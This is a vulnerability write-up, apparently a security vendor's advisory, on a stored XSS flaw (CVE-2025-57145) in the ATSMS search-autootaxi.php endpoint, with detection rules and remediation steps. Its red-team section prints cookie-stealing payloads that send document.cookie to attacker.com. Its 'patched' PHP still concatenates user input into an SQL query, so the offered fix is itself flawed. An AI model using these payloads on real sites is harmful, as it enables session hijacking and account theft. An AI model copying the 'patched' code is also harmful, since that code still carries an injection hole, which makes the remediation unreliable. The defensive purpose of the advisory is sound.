CVE-2025-57145

Executive Summary

CVE-2025-57145 is a stored cross-site scripting (XSS) vulnerability identified in the ATSMS web application, specifically within the search-autootaxi.php endpoint. The application fails to sanitize user input from a form field, allowing an attacker to inject arbitrary JavaScript code. This payload is stored on the backend and executed when any user or administrator accesses the affected report page. Successful exploitation enables session cookie exfiltration, user session hijacking, and unauthorized actions in the victim's browser context. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for user interaction and the potential for session compromise. No official patch is currently available, and the vendor has not released a security advisory.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder; assessed as 6.1 based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium (exploitation requires user interaction, but impact includes session hijacking)

Deep Dive & Mechanics

The vulnerability resides in the search-autootaxi.php endpoint of the ATSMS application. The application accepts user input via a form field (likely a search or filter parameter) and stores it in the backend database without proper sanitization or encoding. When an administrator or user navigates to the report page that renders this stored data, the injected JavaScript executes in the context of the victim's browser. This is a classic stored XSS (CWE-79) scenario.

The attack flow:

1. Attacker submits a malicious payload (e.g., <script>alert('XSS')</script>) through the vulnerable form field.
2. The payload is stored in the backend database.
3. When a victim (user or admin) accesses the report page, the payload is rendered without sanitization.
4. The JavaScript executes, allowing the attacker to exfiltrate session cookies, perform actions on behalf of the victim, or redirect to phishing pages.

The lack of input validation and output encoding is the root cause. The application likely uses PHP's $_POST or $_GET directly without functions like htmlspecialchars() or strip_tags().

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$search = $_POST['search'];
// Directly stored without sanitization
$query = "INSERT INTO reports (search_term) VALUES ('$search')";
mysqli_query($conn, $query);
?>

Patched Code (PHP):

<?php
$search = $_POST['search'];
// Sanitize input
$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO reports (search_term) VALUES ('$search')";
mysqli_query($conn, $query);
?>

Additionally, output encoding should be applied when rendering:

<?php echo htmlspecialchars($row['search_term'], ENT_QUOTES, 'UTF-8'); ?>

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC):

1. Identify the vulnerable form field in search-autootaxi.php (e.g., search parameter).
2. Submit the following payload:

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

3. Wait for an administrator to access the report page.
4. The cookie is exfiltrated to the attacker's server.

Lab Setup:

• Install ATSMS on a local server (e.g., XAMPP or LAMP).
• Navigate to http://localhost/atsms/search-autootaxi.php.
• Submit the payload in the search field.
• Access the report page to trigger the XSS.

Advanced Payload:

fetch('https://attacker.com/steal', {method: 'POST', body: document.cookie})

Blue Team

Detection:

• Monitor for unusual form submissions containing <script> tags or event handlers.
• Use WAF rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Use parameterized queries to prevent SQL injection (though not the primary issue here).
• Regularly audit stored data for malicious content.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
• Logs: Suspicious form submissions with JavaScript payloads in search-autootaxi.php.
• File: Presence of injected scripts in database entries related to search terms.
• Behavior: Unexpected redirects or pop-ups when accessing report pages.

Detection Engineering

YARA Rule

rule CVE_2025_57145_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in ATSMS search-autootaxi.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57145"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: ATSMS Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in ATSMS search-autootaxi.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: /search-autootaxi.php
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57145 ATSMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/search-autootaxi.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding to all user-supplied data in search-autootaxi.php. Use htmlspecialchars() with ENT_QUOTES and UTF-8 encoding.
2. Short-term: Implement a Web Application Firewall (WAF) to block common XSS patterns.
3. Long-term: Conduct a full security audit of the ATSMS application. Adopt a secure coding framework that includes automatic sanitization.
4. User Awareness: Train administrators to avoid clicking on suspicious links and to use browser security extensions.
5. Monitoring: Enable logging for all form submissions and review for anomalies.

Valters IT
Securing Digital Frontiers